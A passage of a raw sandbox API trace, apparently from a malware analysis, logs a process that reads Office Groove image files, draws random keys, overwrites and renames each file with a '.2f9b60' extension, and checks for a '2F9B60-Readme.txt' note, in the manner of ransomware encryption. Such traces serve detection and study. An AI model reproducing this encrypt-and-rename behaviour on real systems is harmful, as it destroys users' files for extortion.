_Dest=0x42c36990, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\InformationIconMask.bmp" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\InformationIconMask.bmp") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\InformationIconMask.bmp" [0165.611] wcscat (in: _Dest=0x42c36990, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\InformationIconMask.bmp.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\InformationIconMask.bmp.2f9b60" [0165.611] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\InformationIconMask.bmp.2f9b60", NtPathName=0x2a99fb90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\InformationIconMask.bmp.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0165.611] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd2) returned 0x1ced03c0 [0224.080] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced03c0) returned 1 [0224.080] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c345c0) returned 1 [0224.080] NtQueryInformationFile (in: FileHandle=0x1f14, IoStatusBlock=0x2a99fbf8, FileInformation=0x2a99fc08, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2a99fbf8, FileInformation=0x2a99fc08) returned 0x0 [0224.080] NtSetInformationFile (FileHandle=0x1f14, IoStatusBlock=0x2a99fbf8, FileInformation=0x2a99fc08, Length=0x28, FileInformationClass=0x4) returned 0x0 [0225.349] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c36990) returned 1 [0225.349] FlushFileBuffers (hFile=0x1f14) returned 1 [0225.547] CloseHandle (hObject=0x1f14) returned 1 [0225.973] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x431f4e00 [0225.974] wcscpy (in: _Dest=0x431f4e00, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0225.974] wcscat (in: _Dest=0x431f4e00, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" [0225.974] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\2f9b60-readme.txt")) returned 0x20 [0225.975] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f4e00) returned 1 [0225.976] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad290) returned 1 Thread: id = 1836 os_tid = 0xc68 [0132.981] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\LoginDialogBackground.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\logindialogbackground.jpg")) returned 0x20 [0135.820] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\LoginDialogBackground.jpg", dwFileAttributes=0x20) returned 1 [0138.099] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\LoginDialogBackground.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\logindialogbackground.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1f10 [0140.530] GetFileSizeEx (in: hFile=0x1f10, lpFileSize=0x2a41f9c0 | out: lpFileSize=0x2a41f9c0*=52973) returned 1 [0140.530] SetFilePointerEx (in: hFile=0x1f10, liDistanceToMove=0xcee9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.530] ReadFile (in: hFile=0x1f10, lpBuffer=0x2a41f940, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2a41f988, lpOverlapped=0x0 | out: lpBuffer=0x2a41f940*, lpNumberOfBytesRead=0x2a41f988*=0x4, lpOverlapped=0x0) returned 1 [0140.534] SetFilePointerEx (in: hFile=0x1f10, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.534] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b290 [0140.534] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd690 [0140.535] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd720 [0140.535] NtQuerySystemTime (in: CurrentTime=0x2a41f880 | out: CurrentTime=0x2a41f880*=132462177457738000) returned 0x0 [0140.535] RtlRandomEx (in: Seed=0x2a41f870 | out: Seed=0x2a41f870) returned 0x10aa8d66 [0140.535] RtlRandomEx (in: Seed=0x2a41f870 | out: Seed=0x2a41f870) returned 0x5a69ab4d [0140.535] RtlRandomEx (in: Seed=0x2a41f870 | out: Seed=0x2a41f870) returned 0x603d0deb [0140.535] RtlRandomEx (in: Seed=0x2a41f870 | out: Seed=0x2a41f870) returned 0x3a163042 [0140.535] RtlRandomEx (in: Seed=0x2a41f870 | out: Seed=0x2a41f870) returned 0x75ea6aa9 [0140.535] RtlRandomEx (in: Seed=0x2a41f870 | out: Seed=0x2a41f870) returned 0x3bb1c907 [0140.535] RtlRandomEx (in: Seed=0x2a41f870 | out: Seed=0x2a41f870) returned 0x53574970 [0140.535] RtlRandomEx (in: Seed=0x2a41f870 | out: Seed=0x2a41f870) returned 0x5438cca2 [0140.535] RtlRandomEx (in: Seed=0x2a41f870 | out: Seed=0x2a41f870) returned 0x7ef073ee [0140.535] RtlRandomEx (in: Seed=0x2a41f870 | out: Seed=0x2a41f870) returned 0xf2b0302 [0140.535] RtlRandomEx (in: Seed=0x2a41f870 | out: Seed=0x2a41f870) returned 0x2fc68a4b [0140.535] RtlRandomEx (in: Seed=0x2a41f870 | out: Seed=0x2a41f870) returned 0x4aa0095c [0140.535] RtlRandomEx (in: Seed=0x2a41f870 | out: Seed=0x2a41f870) returned 0x20c18078 [0140.535] RtlRandomEx (in: Seed=0x2a41f870 | out: Seed=0x2a41f870) returned 0x3fe03804 [0140.535] RtlRandomEx (in: Seed=0x2a41f870 | out: Seed=0x2a41f870) returned 0x61980682 [0140.535] RtlRandomEx (in: Seed=0x2a41f870 | out: Seed=0x2a41f870) returned 0x722a72e3 [0140.535] RtlRandomEx (in: Seed=0x2a41f870 | out: Seed=0x2a41f870) returned 0x4ad426e [0140.535] RtlRandomEx (in: Seed=0x2a41f870 | out: Seed=0x2a41f870) returned 0x240a4677 [0140.535] RtlRandomEx (in: Seed=0x2a41f870 | out: Seed=0x2a41f870) returned 0x24a0da0d [0140.535] RtlRandomEx (in: Seed=0x2a41f870 | out: Seed=0x2a41f870) returned 0x2a2e9b84 [0140.535] RtlRandomEx (in: Seed=0x2a41f870 | out: Seed=0x2a41f870) returned 0x74232fc8 [0140.535] RtlRandomEx (in: Seed=0x2a41f870 | out: Seed=0x2a41f870) returned 0x75e13553 [0140.535] RtlRandomEx (in: Seed=0x2a41f870 | out: Seed=0x2a41f870) returned 0x2bc20ca6 [0140.536] RtlRandomEx (in: Seed=0x2a41f870 | out: Seed=0x2a41f870) returned 0x229ee5de [0140.536] RtlRandomEx (in: Seed=0x2a41f870 | out: Seed=0x2a41f870) returned 0x402db3 [0140.536] RtlRandomEx (in: Seed=0x2a41f870 | out: Seed=0x2a41f870) returned 0x7b415c20 [0140.536] RtlRandomEx (in: Seed=0x2a41f870 | out: Seed=0x2a41f870) returned 0x3f6832ba [0140.536] RtlRandomEx (in: Seed=0x2a41f870 | out: Seed=0x2a41f870) returned 0x1e4148b5 [0140.536] RtlRandomEx (in: Seed=0x2a41f870 | out: Seed=0x2a41f870) returned 0x457a7da [0140.536] RtlRandomEx (in: Seed=0x2a41f870 | out: Seed=0x2a41f870) returned 0x51b215a8 [0140.536] RtlRandomEx (in: Seed=0x2a41f870 | out: Seed=0x2a41f870) returned 0x5f31fabd [0140.536] RtlRandomEx (in: Seed=0x2a41f870 | out: Seed=0x2a41f870) returned 0x4d45a25b [0140.544] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd750 [0140.544] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061c30 [0140.545] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd780 [0140.545] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061c30) returned 1 [0140.545] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd720) returned 1 [0140.545] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b290) returned 1 [0140.545] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4223c5b0 [0140.545] SetFilePointerEx (in: hFile=0x1f10, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.545] ReadFile (in: hFile=0x1f10, lpBuffer=0x4223c5b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2a41f8e0, lpOverlapped=0x0 | out: lpBuffer=0x4223c5b0*, lpNumberOfBytesRead=0x2a41f8e0*=0x3c00, lpOverlapped=0x0) returned 1 [0140.582] SetFilePointerEx (in: hFile=0x1f10, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.582] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420591a0 [0140.582] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061d30 [0140.582] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b290 [0140.583] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b290) returned 1 [0140.583] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4224f200 [0140.583] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b290 [0140.583] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd840 [0140.583] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd840) returned 1 [0140.583] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061d30) returned 1 [0140.584] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420591a0) returned 1 [0140.584] WriteFile (in: hFile=0x1f10, lpBuffer=0x4224f200*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2a41f8e0, lpOverlapped=0x0 | out: lpBuffer=0x4224f200*, lpNumberOfBytesWritten=0x2a41f8e0*=0x3c00, lpOverlapped=0x0) returned 1 [0140.924] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4224f200) returned 1 [0140.924] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4223c5b0) returned 1 [0140.924] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059290 [0140.924] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420592e0 [0140.924] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061c30 [0140.925] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267860 [0140.925] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267860) returned 1 [0140.925] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059d30 [0140.925] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267860 [0140.925] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267920 [0140.925] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267920) returned 1 [0140.925] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061c30) returned 1 [0140.925] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420592e0) returned 1 [0140.925] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x124) returned 0x13b4f0 [0140.926] SetFilePointerEx (in: hFile=0x1f10, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0140.926] WriteFile (in: hFile=0x1f10, lpBuffer=0x13b4f0*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x2a41f990, lpOverlapped=0x0 | out: lpBuffer=0x13b4f0*, lpNumberOfBytesWritten=0x2a41f990*=0x124, lpOverlapped=0x0) returned 1 [0140.999] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x13b4f0) returned 1 [0140.999] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059d30) returned 1 [0140.999] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267860) returned 1 [0140.999] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059290) returned 1 [0140.999] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b290) returned 1 [0140.999] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd690) returned 1 [0140.999] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd750) returned 1 [0140.999] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd780) returned 1 [0140.999] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb8) returned 0x202780b0 [0141.000] wcscpy (in: _Dest=0x202780b0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\LoginDialogBackground.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\LoginDialogBackground.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\LoginDialogBackground.jpg" [0141.000] wcscat (in: _Dest=0x202780b0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\LoginDialogBackground.jpg.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\LoginDialogBackground.jpg.2f9b60" [0141.000] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\LoginDialogBackground.jpg.2f9b60", NtPathName=0x2a41f9b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\LoginDialogBackground.jpg.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0141.000] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd6) returned 0x1b776f50 [0141.000] NtSetInformationFile (FileHandle=0x1f10, IoStatusBlock=0x2a41fa50, FileInformation=0x1b776f50, Length=0xd6, FileInformationClass=0xa) returned 0x0 [0145.437] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776f50) returned 1 [0145.437] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd300) returned 1 [0145.437] NtQueryInformationFile (in: FileHandle=0x1f10, IoStatusBlock=0x2a41fa18, FileInformation=0x2a41fa28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2a41fa18, FileInformation=0x2a41fa28) returned 0x0 [0145.437] NtSetInformationFile (FileHandle=0x1f10, IoStatusBlock=0x2a41fa18, FileInformation=0x2a41fa28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0145.798] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202780b0) returned 1 [0145.798] FlushFileBuffers (hFile=0x1f10) returned 1 [0145.993] CloseHandle (hObject=0x1f10) returned 1 [0146.014] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1ce11ef0 [0146.015] wcscpy (in: _Dest=0x1ce11ef0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0146.015] wcscat (in: _Dest=0x1ce11ef0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" [0146.015] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\2f9b60-readme.txt")) returned 0x20 [0147.231] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce11ef0) returned 1 [0147.231] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106880) returned 1 Thread: id = 1837 os_tid = 0xc6c [0132.984] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\LoginTool24x24Images.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\logintool24x24images.jpg")) returned 0x20 [0136.073] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\LoginTool24x24Images.jpg", dwFileAttributes=0x20) returned 1 [0138.392] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\LoginTool24x24Images.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\logintool24x24images.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1fbc [0142.051] GetFileSizeEx (in: hFile=0x1fbc, lpFileSize=0x2aa6f860 | out: lpFileSize=0x2aa6f860*=7827) returned 1 [0142.051] SetFilePointerEx (in: hFile=0x1fbc, liDistanceToMove=0x1e8f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.051] ReadFile (in: hFile=0x1fbc, lpBuffer=0x2aa6f7e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2aa6f828, lpOverlapped=0x0 | out: lpBuffer=0x2aa6f7e0*, lpNumberOfBytesRead=0x2aa6f828*=0x4, lpOverlapped=0x0) returned 1 [0142.108] SetFilePointerEx (in: hFile=0x1fbc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.108] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe6e0 [0142.108] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe7a0 [0142.108] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe830 [0142.108] NtQuerySystemTime (in: CurrentTime=0x2aa6f720 | out: CurrentTime=0x2aa6f720*=132462177473494000) returned 0x0 [0142.108] RtlRandomEx (in: Seed=0x2aa6f710 | out: Seed=0x2aa6f710) returned 0xa30d078 [0142.109] RtlRandomEx (in: Seed=0x2aa6f710 | out: Seed=0x2aa6f710) returned 0xce9a763 [0142.109] RtlRandomEx (in: Seed=0x2aa6f710 | out: Seed=0x2aa6f710) returned 0x577bd850 [0142.109] RtlRandomEx (in: Seed=0x2aa6f710 | out: Seed=0x2aa6f710) returned 0x3413d28a [0142.109] RtlRandomEx (in: Seed=0x2aa6f710 | out: Seed=0x2aa6f710) returned 0x3f0d8bcc [0142.109] RtlRandomEx (in: Seed=0x2aa6f710 | out: Seed=0x2aa6f710) returned 0x1df7ce8d [0142.109] RtlRandomEx (in: Seed=0x2aa6f710 | out: Seed=0x2aa6f710) returned 0x28e02231 [0142.109] RtlRandomEx (in: Seed=0x2aa6f710 | out: Seed=0x2aa6f710) returned 0x42983a80 [0142.109] RtlRandomEx (in: Seed=0x2aa6f710 | out: Seed=0x2aa6f710) returned 0x410e61a7 [0142.109] RtlRandomEx (in: Seed=0x2aa6f710 | out: Seed=0x2aa6f710) returned 0x48aa0ea4 [0142.109] RtlRandomEx (in: Seed=0x2aa6f710 | out: Seed=0x2aa6f710) returned 0x37780574 [0142.109] RtlRandomEx (in: Seed=0x2aa6f710 | out: Seed=0x2aa6f710) returned 0x6487411f [0142.109] RtlRandomEx (in: Seed=0x2aa6f710 | out: Seed=0x2aa6f710) returned 0x2e7887b1 [0142.109] RtlRandomEx (in: Seed=0x2aa6f710 | out: Seed=0x2aa6f710) returned 0x60308ece [0142.109] RtlRandomEx (in: Seed=0x2aa6f710 | out: Seed=0x2aa6f710) returned 0x3c7a1781 [0142.109] RtlRandomEx (in: Seed=0x2aa6f710 | out: Seed=0x2aa6f710) returned 0x384623d4 [0142.109] RtlRandomEx (in: Seed=0x2aa6f710 | out: Seed=0x2aa6f710) returned 0x36d35212 [0142.109] RtlRandomEx (in: Seed=0x2aa6f710 | out: Seed=0x2aa6f710) returned 0x741c8e6f [0142.109] RtlRandomEx (in: Seed=0x2aa6f710 | out: Seed=0x2aa6f710) returned 0x4df4c47d [0142.109] RtlRandomEx (in: Seed=0x2aa6f710 | out: Seed=0x2aa6f710) returned 0x431502d1 [0142.109] RtlRandomEx (in: Seed=0x2aa6f710 | out: Seed=0x2aa6f710) returned 0x66979529 [0142.109] RtlRandomEx (in: Seed=0x2aa6f710 | out: Seed=0x2aa6f710) returned 0x1de222fd [0142.109] RtlRandomEx (in: Seed=0x2aa6f710 | out: Seed=0x2aa6f710) returned 0x56339bfc [0142.109] RtlRandomEx (in: Seed=0x2aa6f710 | out: Seed=0x2aa6f710) returned 0x54e5485 [0142.109] RtlRandomEx (in: Seed=0x2aa6f710 | out: Seed=0x2aa6f710) returned 0xab822e3 [0142.109] RtlRandomEx (in: Seed=0x2aa6f710 | out: Seed=0x2aa6f710) returned 0x25686682 [0142.109] RtlRandomEx (in: Seed=0x2aa6f710 | out: Seed=0x2aa6f710) returned 0x4885cd08 [0142.109] RtlRandomEx (in: Seed=0x2aa6f710 | out: Seed=0x2aa6f710) returned 0x4ca2eef [0142.109] RtlRandomEx (in: Seed=0x2aa6f710 | out: Seed=0x2aa6f710) returned 0x55fdfbe5 [0142.110] RtlRandomEx (in: Seed=0x2aa6f710 | out: Seed=0x2aa6f710) returned 0x2021fdd6 [0142.110] RtlRandomEx (in: Seed=0x2aa6f710 | out: Seed=0x2aa6f710) returned 0x19516fc6 [0142.110] RtlRandomEx (in: Seed=0x2aa6f710 | out: Seed=0x2aa6f710) returned 0x5e1740cf [0142.120] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe860 [0142.121] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061a30 [0142.121] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe890 [0142.121] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061a30) returned 1 [0142.121] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe830) returned 1 [0142.121] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe6e0) returned 1 [0142.122] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059bf0 [0142.122] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061a30 [0142.122] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe6e0 [0142.122] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe6e0) returned 1 [0142.122] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42234d90 [0142.122] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x422389a0 [0142.122] ReadFile (in: hFile=0x1fbc, lpBuffer=0x42234d90, nNumberOfBytesToRead=0x1e93, lpNumberOfBytesRead=0x2aa6f710, lpOverlapped=0x0 | out: lpBuffer=0x42234d90*, lpNumberOfBytesRead=0x2aa6f710*=0x1e93, lpOverlapped=0x0) returned 1 [0142.143] SetFilePointerEx (in: hFile=0x1fbc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.143] WriteFile (in: hFile=0x1fbc, lpBuffer=0x422389a0*, nNumberOfBytesToWrite=0x1e93, lpNumberOfBytesWritten=0x2aa6f714, lpOverlapped=0x0 | out: lpBuffer=0x422389a0*, lpNumberOfBytesWritten=0x2aa6f714*=0x1e93, lpOverlapped=0x0) returned 1 [0143.330] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265580 [0143.330] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202653a0 [0143.331] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202653a0) returned 1 [0143.331] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422389a0) returned 1 [0143.331] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42234d90) returned 1 [0143.331] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061a30) returned 1 [0143.331] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059bf0) returned 1 [0143.331] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3e) returned 0x42059bf0 [0143.331] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420591f0 [0143.331] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061a30 [0143.332] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202653a0 [0143.332] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202653a0) returned 1 [0143.332] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3e) returned 0x1b82bc70 [0143.332] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202653a0 [0143.332] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265310 [0143.332] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265310) returned 1 [0143.332] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061a30) returned 1 [0143.332] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420591f0) returned 1 [0143.333] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x122) returned 0x1b82f830 [0143.333] SetFilePointerEx (in: hFile=0x1fbc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0143.333] WriteFile (in: hFile=0x1fbc, lpBuffer=0x1b82f830*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x2aa6f830, lpOverlapped=0x0 | out: lpBuffer=0x1b82f830*, lpNumberOfBytesWritten=0x2aa6f830*=0x122, lpOverlapped=0x0) returned 1 [0143.553] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82f830) returned 1 [0143.554] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bc70) returned 1 [0143.554] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202653a0) returned 1 [0143.554] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059bf0) returned 1 [0143.554] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265580) returned 1 [0143.554] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe7a0) returned 1 [0143.554] RtlFreeHeap 